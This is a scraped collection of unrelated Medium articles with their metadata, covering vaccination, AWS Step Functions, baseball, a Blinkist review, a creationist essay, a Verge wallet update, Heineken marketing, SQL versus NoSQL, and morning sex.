For more than two years, our family has had to be in quarantine to protect Nusayba. This means her older brother, Ibrahim, is also in virtual school, because the risk of him going to school in person and bringing the virus home is too high. We also have a pandemic baby, Khadija, who is now 2 years old and this abnormal reality is the only normal she’s ever known. Still, my children are thoughtful, patient and responsible. They know to wear masks in public. They always wash and sanitize their hands. They are aware of coronavirus and the risks it poses. For the past year, they’ve been patiently waiting to take the vaccine in the hopes of restarting a new normal. Let me repeat, they are ages 5 and 7. Those who refuse to follow basic life-saving precautions during this pandemic aren’t being “childish,” they are simply being selfish and reckless brats.
Earlier today, both of my kids received their second vaccine shots. Afterwards, they got their lollipops, thanked their nurse, and went home feeling like champions. We still don’t know if Nusayba will produce enough antibodies that will give her adequate protection, but we’re grateful she at least has a chance now. It was a glorious day, and we celebrated with pizza, Legos, and I even built them a sofa fort that they destroyed within five minutes.
If you’re still on the fence about getting the vaccine, think about your neighbors and community members who are immuno-suppressed, like my daughter and so many of our elders. You get vaccinated for others, not just yourself.
The reason we admire Spiderman, Wonder Woman and Superman is because they use their power and privileges to help people in need. Sometimes, ordinary people without superpowers can do the most extraordinary things. You don’t have to fly in the sky or climb on walls to save lives. You just have to get a vaccine.
You can be a hero, and you don’t even need to wear a cape. | https://medium.com/@wajahatmali/you-dont-need-to-be-a-superhero-you-just-need-to-get-vaccinated-8d39edb22e9b | ['Wajahat Ali'] | 2021-12-02 01:34:56.898000+00:00 | ['South Africa', 'Vaccines', 'Delta', 'Omicron'] |
AWS StepFunctions: Fine Tuning Serverless Workflows Using the Result Selector | Introduction
In this example, I will be talking about how you can improve your workflows when using StepFunctions by customising the results from AWS Lambda at each step.
AWS recently released, in August 2020, a way to do this using the ResultSelector; read more about this release on the AWS blog here. 🎉
There is another alternative to using the result selector and getting around large data payloads; Writing the data to a file in S3. This option would give you the opportunity to store in S3 the specific data needed for the workload which could be read directly in a Lambda function and therefore mitigate the StepFunctions payload limit.
Firstly, I must admit that this article is not just for serverless applications and I hope that you can utilise this example in any AWS environment you may have. However, I personally believe it leans itself nicely towards a serverless solution for a number of reasons, I’ll explain.
Suppose you have a serverless application that consists of a set of AWS Lambda functions that are invoked by hitting various requests on AWS API Gateway or AWS AppSync endpoints. Wouldn’t it be nice to reuse the lambda functions you have already created and configured inside your StepFunction workloads.
Example System Architecture
In this example, we have a ‘Get Post’ Lambda function that retrieves the data from AWS DynamoDB and we can reuse this same Lambda function inside our ‘Report Post Metrics’ workload. Perhaps we want to fetch the meta data on the post, evaluate the data and release it to another area in the service.
Why Reuse the same Lambda? 🤓
There are many reasons why you would want to use the same lambda function inside the workload. For example, within a serverless application you have account limits that AWS enforce to guide you on best practices and design. One of these default limits currently sets the number of concurrent Lambdas running per account to 1000. This may seem a lot however, consider a large application with high throughput and lambdas scaling out.
Not only have you got such limits within your account, if you have multiple lambdas to retrieve the same data from the datasource you’ll end up with higher inefficiency and extra functions and code to maintain.
So, Why do we need the Result Selector? 💡
As we are reusing our ‘Get Post’ Lambda throughout the application where possible, let’s imagine that the object that the Lambda returns contains all the post details, meta data, authorization access and much more data. For the StepFunction we only need the postId and all or some of the meta data on the object. All of the other information is redundant for this use case.
Up until recently AWS StepFunctions had a payload limit of 32,768 characters, so if you were getting multiple posts, each returning the entire data object, you could quite easily hit this character limit and receive the following error:
ERROR: The state/task returned a result with a size exceeding the maximum number of characters service limit.
Fortunately, AWS release another recent update, in September 2020, to increase this limit to 256kb. Read more here. 🎉
Okay so, AWS have increased the limit… do we still need to worry about the data returned from the lambda?
Maybe not for a small number of posts, but if you’re running a workload for all your posts or another large data set you may still see the error. Plus, it is good practice not to be fetching or logging any data you don’t need. | https://medium.com/swlh/aws-stepfunctions-fine-tuning-serverless-workflows-using-the-result-selector-d74b3de074 | ['Robert Bulmer'] | 2020-11-18 12:17:17.997000+00:00 | ['Serverless', 'AWS', 'Aws Step Functions', 'AWS Lambda', 'Cloud Computing'] |
Dodgers sign Chris Taylor to two-year contract extension | (Jon SooHoo/Los Angeles Dodgers)
by Rowan Kavner
The Dodgers have agreed to a two-year contract extension with infielder/outfielder Chris Taylor, avoiding arbitration.
Taylor hit .262/.333/.462 last year with 12 home runs, 29 doubles and four triples in 124 games, marking his third straight season with double-digit homers. He has spent parts of four seasons in Los Angeles, slashing .266/.337/.463 with 51 homers and 194 RBI since he was acquired in 2016 from Seattle for right-handed pitcher Zach Lee.
The versatile defender played more than 100 innings at each of left field, shortstop, second base and center field last year. In 2018, Taylor played 671 1/3 innings at shortstop when Corey Seager missed the majority of the year.
Taylor enjoyed his breakout season for the Dodgers in 2017, when he posted career bests in every slash line category (.288/.354/.496/.850) with a career-high 21 home runs. That postseason, he was named the National League Championship Series co-MVP when he hit .316/.458/.789 with two home runs against the Cubs.
The two-year extension for Taylor, who has a career .262/.331/.441 slash line, covers his final two years of arbitration. | https://dodgers.mlblogs.com/dodgers-sign-chris-taylor-to-two-year-contract-extension-c5271466321c | ['Rowan Kavner'] | 2020-02-07 21:14:20.228000+00:00 | ['Dodgers', 'Chris Taylor', 'Extension', 'Contract', 'MLB'] |
2018 By The Numbers!. Here are some numbers for our 2018… | It's hard to summarize an eventful year, so we took a shot by using just numbers as our year highlights. Maybe next year we will do a word cloud!
Word Cloud of 2018 (Credit: Adobe Images)
Here are some numbers for our 2018 Summer Programs
2018 In Numbers | https://medium.com/cyberdefendersprogram/2018-in-numbers-3f639c7bf941 | ['Vaibhav Bhandari'] | 2019-04-03 17:04:37.933000+00:00 | ['Cybersecurity', 'Education', 'Infosec', 'Cyberpatriot'] |
3 Reasons Why Being Helpful To Anyone In Everything Will Help You Grow | As a kid, I always had a natural feeling for helping others. I helped friends, family, classmates. In every age in my life, I helped people with different things.
My classmates during cooking lessons. My grandmother with her groceries. Later on my classmates with some Photoshop, even when the got higher rewards because of my help.
Because I helped people so much, I grew in my skills in all kinds of fields. I wanted to be very good in Web Development at a young age. I started helping others with that.
To help others, even if you don’t know everything about the topic, forced me to dive more into it. | https://medium.com/undefined-developer/the-number-1-skill-you-need-to-grow-as-a-person-7d1a6f34afb5 | ['Dev Rayray'] | 2020-05-04 17:40:59.920000+00:00 | ['Coding', 'Humanity', 'Programming', 'Helpfull', 'Life Lessons'] |
“Science” by definition, is what the majority of scientists on earth believe at any given time. | “Science” by definition, is what the majority of scientists on earth believe at any given time. This does not mean it is true. For example, the majority of scientists today believe life is a result of evolution by natural selection. However, this does not make it true. There are a growing number of scientists, based on a growing body of evidence, who believe Darwinism is wrong. However, because they are not the majority, then what they believe is not considered science, unless and until the majority of scientists on earth agree.
There was a time when Copernicus’ view was in the minority, a time when Galileo was in the minority, a time when Einstein was in the minority. Because a view is not the majority, this does not necessarily make it wrong, but it does mean that it is not “science”, unless and until the majority of scientists agree.
You are criticizing me for using the term “science” instead of scientists, so now you know the difference. Using the term “science” is accurate as long as it represents a majority view, even if some day it is no longer a majority view.
Science used to believe the following 5 things listed below; each number noted below at one time was by far the majority opinion of living practicing scientists on earth.
The Universe is a result of deliberate design and creation by an Eternal Creator, also called “Primary Cause”. Nothing can exist unto itself, without a primary cause. What this means is that energy, light, motion, intelligence, life and mathematics cannot rationally exist unto themselves. Even if they could possibly do so, all scientific experiments demonstrate the opposite conclusion, including all known experiments here in the 21st Century. The atom is the smallest part of matter. The sun and planets revolve around the earth. There is only one galaxy, which is static and eternal.
Numbers 3,4 & 5 are no longer “science”, because they have been demonstrated by evidence to be incorrect. They are no longer “science” because the majority of scientists no longer agree.
However, numbers 1 & 2 remain “science”, because they have not been demonstrated by evidence to be incorrect.
What you and Richard Dawkins and all atheists are trying to do is just eliminate 1 & 2, without providing any evidence to substantiate your position. This is why both you and Richard Dawkins are not practicing science. What you are promoting has never been established by evidence to be correct or even remotely possible.
You can’t just decide you don’t like the fact that Jesus is smarter than you, so you can freely go around pretending he was wrong about God. Both you and Richard Dawkins will have to answer one day for what you do, whether you like it or not. We can’t just pretend there is no God, because God exists, anyway and, we are responsible to what we teach God’s children, however good or bad it may be. | https://medium.com/@web-33696/you-missed-the-point-entirely-b067ce07e892 | ['Richard Aberdeen'] | 2021-07-07 00:02:29.620000+00:00 | ['Atheism', 'Creation', 'Evolution', 'Jesus', 'Science'] |
Blinkist Review 2020 & Get Blinkist Premium for free | Are you an avid reader? And do you feel like if you could read all of your favorite books?
Yeah, we know for avid readers, there is no best feeling than getting to read as many [favorite] books as they can.
Sadly, there’s a time constraint too, people in today’s workaholic-life have a hard time managing the time to read their lengthy favorite books! But it doesn’t have to be like this anymore. Yes, there’s the solution to this problem; an app called “BLINKIST”.
Blinkist simply serves you your craving to read your favorites books in just 15 mins. Yeah, no more sitting on a couch and lying for hours to complete just one book. Sounds amazing, right folks?
However, you might be wondering if “Is it worth paying for a Blinkist subscription?” Well, in that case, we will be covering all the bases of Blinkist in this Blinkist review so that you can speak for yourself whether you might want it or not!
Blinkist Review: WHAT IS BLINKIST?
Well, in short, Blinkist is an app founded in 2012 promising to serve the books’ summaries in under 15 mins of your time.
Blinkist, to make the nonfiction books summaries readable under 15 mins, has come up with the format of presenting the books called “blink books” or “book in blinks” where each blink has key insights of the book.
In the age of AI and machine learning, Blinkist still prefers humans over algorithms. Blinkist has their own team of editors that read, short and distill the books into Blinks, without compromising the quality. And that what proves how much Blinkist is quality conscious!
Blinkist has more than 2500+ nonfiction book summaries in their library, enough to get you occupied and get going.
How much does Blinkist cost?
Blinkist comes in both free and premium plans. And the premium plans come in two categories; Premium Yearly and Premium Monthly. The Premium Yearly subscription plan is billed $79.99 annually costing only $6.67 monthly, and the Premium Monthly subscription plan is billed $12.99 monthly.
Subscribing the Premium Yearly plan gives you 7-days free trial so that you can explore the Blinkist with zero risks and can opt-out the Premium subscription plan at any time.
However, the Free plans do basically offer an editor-picked book for you to read or listen daily, and nothing more!
So, with the price as much as $12.99 monthly there’s another question that arises “Is it worth paying for a Blinkist subscription?”. So, let’s look into Blinkist review details, if Blinkist is worth paying!
[And if you are suspicious whether the price for the subscription the Blinkist is asking high or not, scroll down to check head-to-head price and collection comparison of Blinkist & Blinkist Alternative.]
Blinkist Review: Is it worth paying for a Blinkist subscription?
The price of the Blinkist premium can be as low as $6.67 and high as $12.88 monthly. That’s quite an amount of the money to pay for a service if it isn’t utilized to its potential or if it doesn’t stand up to its asking cost. But Blinkist does justify the price it is asking for the service if we look into the premium features it is offering!
Here’s the list of the premium features the Blinkist is offering:
Unlimited access to the app : Out of more than 2500 books [and increasing], there will be no restrictions on how many titles can you access, read and listen per day. You can read and listen as many as you desire and crave.
: Out of more than 2500 books [and increasing], there will be no restrictions on how many titles can you access, read and listen per day. You can read and listen as many as you desire and crave. Hands-free Audio : Yeah, the premium plans allow you to listen to the books audio hands freely. No more of hassle.
: Yeah, the premium plans allow you to listen to the books audio hands freely. No more of hassle. Highlighting : How much it hurts when you loved the sentence or lines in the book and you aren’t able to mark it for future reference? Pretty much, right? Worry no more, because Blinkist premium has a feature to highlight your ideas and bookmark them for future
: How much it hurts when you loved the sentence or lines in the book and you aren’t able to mark it for future reference? Pretty much, right? Worry no more, because Blinkist premium has a feature to highlight your ideas and bookmark them for future Offline Access : Offline Access is a premium feature by Blinkist that allows you to save/download the book to your personal library so that you can read or listen at any time at your ease!
: Offline Access is a premium feature by Blinkist that allows you to save/download the book to your personal library so that you can read or listen at any time at your ease! Sync across the device and Evernote : Exactly what the premium plans should offer; universal syncing, Blinkist has a feature to sync the highlights across the device and Evernote.
: Exactly what the premium plans should offer; universal syncing, Blinkist has a feature to sync the highlights across the device and Evernote. Kindle Support: Kindles are the best machines to read your books on, so Blinkist understands that for sure as Blinkist lets the readers send their reads to their Kindles.
However, besides the premium features Blinkist has, it actually depends what it takes for you to consider the app if it is worth paying or not!
If any of the following behavioral things strike with you, probably, Blinkist is lot more worth paying especially for you:
A heavy commuter : Like we already know how boring can a commute be, and it can’t always be accompanied by repeatedly playing same old, same old songs. And that’s where Blinkist comes into play to make the time and the paying worth it. You can really gain some knowledge and insights to topics you are curious about with the book summaries on Blinkist.
: Like we already know how boring can a commute be, and it can’t always be accompanied by repeatedly playing same old, same old songs. And that’s where Blinkist comes into play to make the time and the paying worth it. You can really gain some knowledge and insights to topics you are curious about with the book summaries on Blinkist. Multitasker : How could it be good and awesome would it be to learn while you mow the lawn, do dishes, on the gym or other activities? If you are multitasker kind person and love to learn to utilize every bit of second, Blinkist is must-have for you.
: How could it be good and awesome would it be to learn while you mow the lawn, do dishes, on the gym or other activities? If you are multitasker kind person and love to learn to utilize every bit of second, Blinkist is must-have for you. Synopsis-guy : Some books, despite being the #1 seller, sometimes doesn’t resonate with your type. And reading those 100-pages books just considering “#1 seller” titles can be nothing but an absolute time-killing. So, how about if you could read the perfect synopsis before you read the whole and repent later for wasting the time? — Perfect, right? Yeah, that’s where the Blinkist perfectly worth for you, saving your time before you kill it with some nonsense “#1 seller” book!
: Some books, despite being the #1 seller, sometimes doesn’t resonate with your type. And reading those 100-pages books just considering “#1 seller” titles can be nothing but an absolute time-killing. So, how about if you could read the perfect synopsis before you read the whole and repent later for wasting the time? — Perfect, right? Yeah, that’s where the Blinkist perfectly worth for you, saving your time before you kill it with some nonsense “#1 seller” book! Curious and Conversation-winner: The more curious you are, the more knowledge you gain, and the more knowledge you’ve, the more you become conversation winner. Blinkist has perfect composition and dosage of knowledge you require to win any conversation. Blinkist has blinks that have insights and information that you can use to out-wit in most of the conversations.
What categories of books does Blinkist offer?
Blinkist, with more than 2500 titles [and newly added every week], covers almost all of the nonfiction books categories. Just a few months ago, there was a total of 19 categories, but as of now Blinkist has jumped and offers a total of 27 nonfiction books categories.
Entrepreneurship & Small Business
Politics
Marketing & Sales
Science
Health, Fitness & Nutrition
Personal Growth & Self-Improvement
Economics
History
Communication Skills
Corporate Culture
Management & Leadership
Motivation & Inspiration
Money & Investments
Psychology
Productivity & Time Management
Sex & Relationships
Technology & the Future
Mindfulness & Happiness
Parenting
Religion & Spirituality
Creativity
Education
Nature & Environment
Career & Success
Biography & Memoir
Philosophy
Society & Culture
Blinkist Review: What are its Pros & Cons?
Pros:
Less reading and More Learning
Utilization of spare time while commuting or doing gyms.
Audiobook summaries to listen rather than staring at the screen and reading.
Downloadable Audiobooks
Syncing across the devices and to Evernote
Easy access to the bookmarks and the highlights.
Larger collection to read from.
Quality of blinks
Different voices for audiobooks to choose from.
Premium plans for the larger teams.
Competitive subscription plans if compared to the similar Blinkist alternative.
Responsive support
Cons:
Losing the original vibes of hardcover paper books.
The blinks don’t cover the summaries of some of the books, some books are good to read raw and uncut.
The information might get overwhelming and confusing sometimes, as the blinks of similar categories might blend into each other.
The Premium Monthly is insanely expensive [2X] when compared to the monthly charges of the Premium Yearly plans.
Blinkist Review: Blinkist vs Blinkist Alternative
From the above comparison between Blinkist and Blinkist Alternative, it’s loud and clear, Blinkist is, undoubtedly, #1 book summaries service among the Blinkist alternative. Only getabstract and Soundview seem to compete with the Blinkist in the books’ collection size, but the Blinkist wins over them because of the affordable plans and pricing.
How to Get Blinkist Premium for free?
Who doesn’t love free things? — Everyone, right! We talked much and reviewed about the Blinkist. Though the subscription costs just $7 per month, which is equivalent to the 1–2 cups of coffee, it’s never sad to get something like Blinkist Premium for free.
Yeah, exactly, so how amazing would it be if you could win real Blinkist Premium for free? And no, we are not promoting unethical ways to get the Blinkist Premium free.
So, how to get Blinkist Premium free?
Signup to Blinkist [if you are new and don’t have Blinkist account] and go to your account.
[if you are new and don’t have Blinkist account] and go to your account. If you are using web-version, tap on “You” and Select “Invite Friends”
Copy the referral link and share it on your social media accounts or ask your friends to signup via your referral link.
And for every successfully referred signup, both you and your friend get 7 days free trial.
There is no limitation on how many friends you can refer as of now, which means you can get Blinkist Premium for as long as your new friends and family signup via your referral link.
Blinkist Review: TL; DR
This post itself is around 1600 words and seems like it needs a summary for itself. So, here it is the TL; DR version, or say, a summary of the review of the books summarizing product.
Blinkist is #1 books summarizing product, there is no denying. Yeah, there are some drawbacks, but it’s natural. In fact, Blinkist outdoes every other Blinkist competitor in terms of price and collection size.
For a cost of a cup of coffee [ or if you follow the above method to get Blinkist Premium Free], you get an immense collection of books you can learn from. You’ll never be bored or let go of your time unproductive when you’re commuting or standing in a queue. Your knowledge and book-reading cravings will be fulfilled.
And if you still feel like you need more in-depth Blinkist review, go ahead, scroll to the top, and start reading if Blinkist is worth paying or not! | https://medium.com/prabidhi-info/blinkist-review-get-blinkist-premium-free-trial-7047760b046b | ['Mahesh Shrestha'] | 2020-09-20 10:33:07.954000+00:00 | ['Book Review', 'Productivity', 'Blinkist', 'Reading', 'Books'] |
Free Me | Free Me
A Villanelle
The days of old are gone, but the shackles still remain
Where can mercy and grace be found
White supremacy carries the mark of Cain | https://medium.com/resistance-poetry/free-me-a4408d182b5c | ['Violet Detorres'] | 2020-05-28 11:05:42.857000+00:00 | ['George Floyd', 'White Supremacy', 'BlackLivesMatter', 'Resistance Poetry', 'Racism'] |
Development Update on Verge #2, and introduction | Here we are, for the second update on the development at Verge Currency. But first let me introduce myself.
I am Swen van Zanten, I’m 30 years old and I’m from the Netherlands. I have just joined the Verge core team one or two months ago. I live and work near Leiden, which is close to Amsterdam. At my full time job, I lead a small team of 4 developers at Troublefree. Where we develop and maintain a bulb administrative software application called Troublefree Smart Bulb. I spend my time on many things but most of the time these things are creative:
I love to make music (link)😅 (Ask Siri to play some Swen van Zanten)
Making after-movies of winter sports when I return from France (link) 🤷♀️
I really dig making plastic models 🤣
And man… do I love to program and learn new things!🤩
Les Meniures, France, Feb. 2018 🏂
My models (don’t hate) 🚀
🦄 On with Verge
Okay, that’s enough about me! On with the development status here at Verge Core. As you’d might have seen we haven’t been sitting still. We’ve already shown and posted several updates via social media channels, however now I will go into further detail for you … Well, actuaIly I’ll just show you:
📱Verge iOS Wallet
iOS wallet on iPhone X
The iOS wallet so far
The wallet on the iPad simulator
We’ve recently started to gain some traction on the development of the iOS app and both Marvin and I are really hyped about it — it’s a beauty. We love learning new things and while this project will have some challenges, we’re moving along with it. For example, the Tor integration into the app was a bit of a pain, but after a couple of sleepless nights, we got it working, and it’s rock solid! Thankfully y’all liked it too:
As people are already asking for beta versions of the iOS wallet I’m addressing that here too. For now, we’re too far away from a proper beta so that’s why we can’t give any promises on whether there will be an open beta or not. But we will try, as it improves the end-product. But this will have to be a select group of people. More on that in the future.
🖥 Verge Desktop Wallet
macOS Wallet development
The development on the desktop wallet was going like a rocket the last month! Much was achieved, and we are very proud of the current state it is in now. We’re getting closer to where we want it to be. Now the next big thing for the wallet will be the integration of the insight API which will replace the connection to the full Verge node and enables the application to be lighting fast during startup and removes the need for synchronization of the blockchain. In a later iteration of the released wallet we’ll add the option to choose between running a full local node or connect to the insight API.
Furthermore, we’ll keep developing on the wallet to finish it for a beta release. The desktop wallet will be available for Windows, macOS and Linux.
🤬 The big question
While I always think pictures and videos say much more than words, I still think there are some unanswered questions. And of course, the biggest question is “when wallet?”. Well, these sort of questions are hard to answer for a couple of reasons:
Using release dates will give us a pump and dump.
Development time isn’t fixed or guaranteed.
Other priorities might disrupt the development.
The first one is because we’re in crypto land… No explanation needed.
The second one is because we are an open source organization with development support from all over and spread across the planet. We all spend our free time on this project and are not paid for the long hours that we put in for these very time consuming jobs and projects. Development work has its ups and downs, it’s never a straight line and therefore it is extremely hard to gauge and determine the available free time to be allocated versus the unforeseen issues that may be encountered and need fixing. In short, it’s a process, but rest assured — we are always working.
The third one is because life sometimes gets in the way. By taking into account point number two, imagine an added layer of life priorities. It is very possible and has happened several times that an idividual team member can fall away for any sort of personal reason. At that point, the core team must fill the gap. It’s important to remember we are a finite resource after all!
The only way these last two are less of a problem, are when there are enough resources and people to help out on this truly amazing, open source and decentralized project. The requests for help have been there before:
Which gave us a few reactions and one commit from @Nicks_Crypto
Thank you for your contribution, from the core team and from the entire Verge family! ❤️ ❤️
So, you want to help Verge development get further? Go to one of our Github repositories and improve on what’s been made! Help us out on the website, the desktop wallet, the iOS wallet or on anything else you see fit. Verge Currency is a community based project, it’s build by you and me, with Privacy as our standard. Do you have any questions on how stuff works? Hook us up on any social platform or Discord.
I hope y’all like reading developer stories 👹
Until next time, good day 🤫
💎 XVG Address: DPEgHsW1Sox3m6ZiYVjiqVxak4NAThXXix | https://medium.com/vergecurrency/development-update-on-verge-2-and-introduction-7afef82ef999 | ['Swen Van Zanten'] | 2018-08-04 07:25:49.282000+00:00 | ['Blockchain', 'Swift Programming', 'Javascript Development', 'Technology', 'Verge'] |
Heineken Emerged as a Savior for Local Bars During Lockdown | Heineken Emerged as a Savior for Local Bars During Lockdown
Its ‘Shutter Ads’ campaign even won a Grand Prix at the Cannes Lions 2021 Anshu Kumari Jul 5·4 min read
Photo by Thiago Miranda from Pexels
The COVID-19 pandemic has affected the whole world.
Many places went on complete lockdown. Nothing other than the bare essentials were available. The governments had shut the shops down. Many lost their jobs. They had to develop other sources of income for their livelihood.
More or less, everyone suffered due to this.
Larger brands had suffered damages too, but they had other sources of income. They digitized their products quickly and cut back some losses. But the small retail-based business survived solely on their stores operating. And they were closed with no information on when they could open again.
But a few bigger brands have lent a helping hand to their smaller counterparts. They have tried to lessen the financial strain for small businesses.
Heineken is one of the leading breweries in the world. It has been in business for more than 150 years. It has over 300 brands available in more than 190 countries. Despite the pandemic, its reported net profit for the first two months of 2021 was €168 million.
It has launched many campaigns during the past year. But its ‘Shutter Ads’ and the ‘Back to Bars’ campaigns have been aimed towards the local bars. | https://bettermarketing.pub/heineken-emerged-as-a-savior-for-local-bars-during-lockdown-4aa42b3575de | ['Anshu Kumari'] | 2021-07-05 17:15:08.705000+00:00 | ['Covid 19', 'Helping Others', 'Local Business', 'Really Good Marketing', 'Marketing'] |
A Beginner’s Reference to SQL vs. NoSQL | Many new developers wonder what the difference is between SQL and NoSQL . The subjects come up often in theoretical discussions and systems design interview preparation.
In this tutorial, we will be looking at the difference between SQL and NoSQL based on certain parameters. Before we begin, let’s analyze each individually to develop our understanding of these contrasting concepts.
This lesson was originally published at https://algodaily.com, where I maintain a technical interview course and write think-pieces for ambitious developers.
What is SQL?
Some definitions to start:
SQL stands for Structured Query Language. As evident from the name, it is a querying language that is used to perform various data operations. It is supported on almost all Relational Databases.
And what is a Relational Database? A relational database, often synonymous as a SQL Database, is a collection of data records that may have predefined associations or relationships with each other.
By extension, a Relational Database Management System (RDMS) is an interface (application or UI) to manage the records, usually by way of SQL . It's used to store, edit, read, and write such data in the form of tables. It's also often visually shown as a spreadsheet-like shape.
SQL Databases
SQL databases, or Relational Database s, employ the traditional way of storing data (where each database may contain several tables). However, it is worth mentioning that in RDB s, each table contains rows that have the same attributes or "shape". As an example, in a "restaurant" database, you may have one table for customers , another for orders , and yet another for restaurant locations .
Now here comes the importance of columns. Each column describes one specific piece of information about the record. The type of data that each column will contain is also predefined. For example, in a customer table, one column may contain the customer id (an integer type column). Another may show the customer order id (another integer ), and a third may contain information about customer address ( varchar ).
Properly defining tables and columns is upfront work to be done to gainfully use a database. Then, the day to day task becomes adding new rows. This is where the SQL language comes in handy. It offers a convenient way to create tables, define columns, add records, delete them, etc. It also allows us to "connect" or associate (create relationships for) multiple tables by using the concept of primary and foreign keys.
Types of SQL DBs
Here’s a selection of the various SQL Databases.
What is NoSQL?
Let’s move on to the definition of NoSQL . Several NoSQL database systems have grown rapidly in popularity over the last few years. They are non-relational DMS s that support structured data, unstructured, semi-structured, and polymorphic data.
At a high level, NoSQL just means not only SQL. Thus, it doesn’t speak to a single database offering — rather, it’s a collection of diverse technologies. Don’t assume that the databases are similar in nature either.
As stated, there are no official rules as to what makes a database NoSQL . The term describes more about what they aren’t.
NoSQL Databases:
typically don’t use SQL
usually don’t store data in tables
usually don’t care about relationships
usually don’t provide ACID transaction
usually don’t require formal data schemas (making them more flexible)
Types of NoSQL Technologies
Let’s run through a list of data store offerings within the NoSQL flavor.
Document DB/Document Stores: These are organized around the idea that the fundamental thing to store is a self-contained piece of data (called a document ). Such a document describes its own schema-- this is in opposition to individual rows of data constrained in well-defined columns. With document s, there generally are no restrictions in shape or structure. It may be in XML format, but often it's JSON -- a loose structure based on plain old Javascript objects.
Example: store a simple piece of data consisting of two pieces of information: title and rating . The title is a string and rating is an integer.
In the next piece of data, we have different descriptions and utilize nesting of information.
When we are schema-less, we can simply add new documents in this data store freely. The only constraint is that each document will be given a unique id . But beyond that, you often have total flexibility. There's no need to provide a formal schema and no need to define relationships. One downfall of this is that the database needs to provide a more flexible way of querying the data-- thus arrived solutions like CouchDB and MongoDB .
2. Key-value databases are another category. Its main emphasis is on having no predefined schema for your data. All it does is store and retrieve everything based on key-value pairs. In some ways, it’s like a two-column table (if you had a key column and value column), and nothing more is enforced. It could be any data type. You could fit in bits of XML or JSON .
Furthermore, It is worth mentioning that many products in this category are specifically designed with fault-tolerant distributed architecture. Simplified, this means you can easily install them across multiple machines. As such, no one machine is a point of failure — the database can survive machine failures and continue functioning.
3. Graph: Yet another category of NoSQL tech. It is a data store in which everything is kept in the form of connecting nodes, in a graph structure. There is no one "master" point. Although many other NoSQL DBMS tend to de-emphasize relationships, graph database s are all about having nodes of data connected to each other, describing relationships among them.
4. Column-oriented database: In a traditional row-oriented database, when we try to retrieve a specific record, every single row is scanned. Indexing certain columns may improve the lookup speed — however, indexing every column slows down the updating (write) speed. Sometimes it may require you to lock the tables — if not completely, then partially — by locking certain parts of your table.
This is where column-oriented databases come in handy. They store individual columns separately, allowing an efficient scan when we have a limited number of columns (because there is only one data type in each table). Therefore, it is very efficient to add new columns. However, adding an entire record becomes more difficult. Although they may look similar to traditional databases, the method of storing and retrieving data is where the actual difference lies. They are best for analytics. Examples of the column-oriented database include but not limited to Cassandra (released by Facebook as an open-source project), Hypertable, Google BigTable, and Apache HBase.
Comparison of the Two
Now that we know the fundamentals of both SQL and NoSQL , we can dive into the technical details and compare them across certain factors. Analyzing across these parameters will help us understand their differences.
Theoretical difference
In short, SQL databases are primarily Relational Database Management System s, while NoSQL databases are non-relational distributed databases and datastores.
Schema:
A schema refers to the organization and shape of records within a database. Both of these database types have a very contrasting data storage models.
SQL databases usually deal with structured data that is organized in the form of tables. On the other hand, NoSQL databases, along with support for structured data, offer the convenience of storing unstructured, semi-structured, and polymorphic data as well.
NoSQL databases can store information in the form of document stores, key-value pairs, graphs databases, and column stores. These DBs do not have predefined schemas that they need to adhere to.
This distinction makes them useful for specific scenarios. For example, RDB s are intuitively useful for accounting systems because they model the accounting ledger well. NoSQL is preferred in "Big Data" scenarios where the flexibility of data types are essential.
Scalability
Scalability refers to how a database technology adapts to an ever-increasing amount of data without sacrificing performance.
In this regard, singular SQL databases tend to be vertically scalable, in the sense that additional load can be handled by using more efficient and newer hardware (CPUs, RAM and SSD). On the flip side, NoSQL databases tend to be more horizontally scalable (they can automatically handle more traffic by distributing it among more servers in the database cluster).
Note that relational databases can also be scaled via more hardware — however, there is some additional work to be done to unify the various database instances. This is why NoSQL databases are preferred in the case when our data is increasing at a very high rate.
Support
Historically, SQL database were in the market long before the NoSQL ones arrived. Therefore, it shouldn’t come as a surprise that almost all the SQL database vendors provide substantial support to their users. Moreover, a huge community of independent consultants is there to help with the large deployment of SQL databases.
Of course, the same is starting to also be true for NoSQL databases. However, many are still in their embryonic stage, and thus depend more (or often solely) on the open source community for support. Furthermore, independent consultants are also more scarce when it comes to the setup and deployment of large-scale NoSQL databases.
Languages Used
SQL databases support Structured Query Language (SQL) which allows us to perform various operations on the database. It accomplishes this by providing different types of commands. These commands can be categorized based on their functionality:
Data Definition Language (DDL) Data Manipulation Language (DML) Data Control Language (DCL) Transaction Control Language (TCL) Data Query Language (DQL)
Though SQL is the most stable and widely used option for performing database operations, it may be restricting in the sense that it requires users to predefine the structure of tables and records. There's also the constraint that all data it stores must be consistent in observing that structure.
On the other hand, NoSQL databases are dynamic and flexible. They allow storing unstructured data in multiple ways. Depending on the nature of data, NoSQL options include document stores, key-value pairs, graph databases, and column-oriented stores. As mentioned, you are not required to come up with the structure of data before-hand. Each document may have its own unique structure. This is referred to as Unstructured Query Language (UnQL) and syntax will vary between products.
ACID vs BASE Model:
SQL databases never compromise on ACID (Atomicity, Consistency, Isolation, Durability) properties. On the flip side, most of the NoSQL DB s observe the Brewers CAP theorem (Consistency, Availability and Partition tolerance) and the BASE Model (Basic Availability, Soft-state, Eventual Consistency).
Examples
Finally, let’s provide some examples. Although there are many RDBs and NoSQL, we will restrict this list to the most popular ones:
SQL DBs include MS-SQL, Oracle, SQLite, MySQL, and Postgres.
NoSQL DBs include CouchDB, MongoDB, BigTable, Cassandra, Redis, RavenDB, HBase, and Neo4j.
This lesson was originally published at https://algodaily.com, where I maintain a technical interview course and write think-pieces for ambitious developers. | https://levelup.gitconnected.com/a-beginners-reference-to-sql-vs-nosql-1793e2a81905 | ['Jake Zhang'] | 2020-08-26 02:04:04.181000+00:00 | ['Relational Databases', 'System Design Interview', 'Sql', 'NoSQL', 'Software Architecture'] |
The Amazing Benefits of Morning Sex | The Amazing Benefits of Morning Sex
5 reasons morning sex improves your health
Photo by Womanizer WOW Tech on Unsplash
Most of us have our morning routine planned to the minute: waking up, have a shower to wash the body and wake our senses, have breakfast (that must include a strong, energising coffee), get ready to work and leave, usually in a rushing pace.
There’s nothing wrong with this routine, but we can make it less stressful and undoubtedly more pleasurable. How? Having morning sex!
You might think that if it’s hard enough to deal with your present routine, it will be harder to program the alarm earlier just to have sex. But the thing is that while having sex before sleep is marvellous and there’s no better feeling like falling asleep in your lover’s arms after sex, morning sex brings you exclusive benefits.
5 Benefits in having morning sex
1. You prioritise your relationship
Life can get very busy and stressful and that, obviously, will impact your relationship and your sex life.
How many times do you go to bed exhausted, in need of a silent, relaxing moment? Often, sex is neglected.
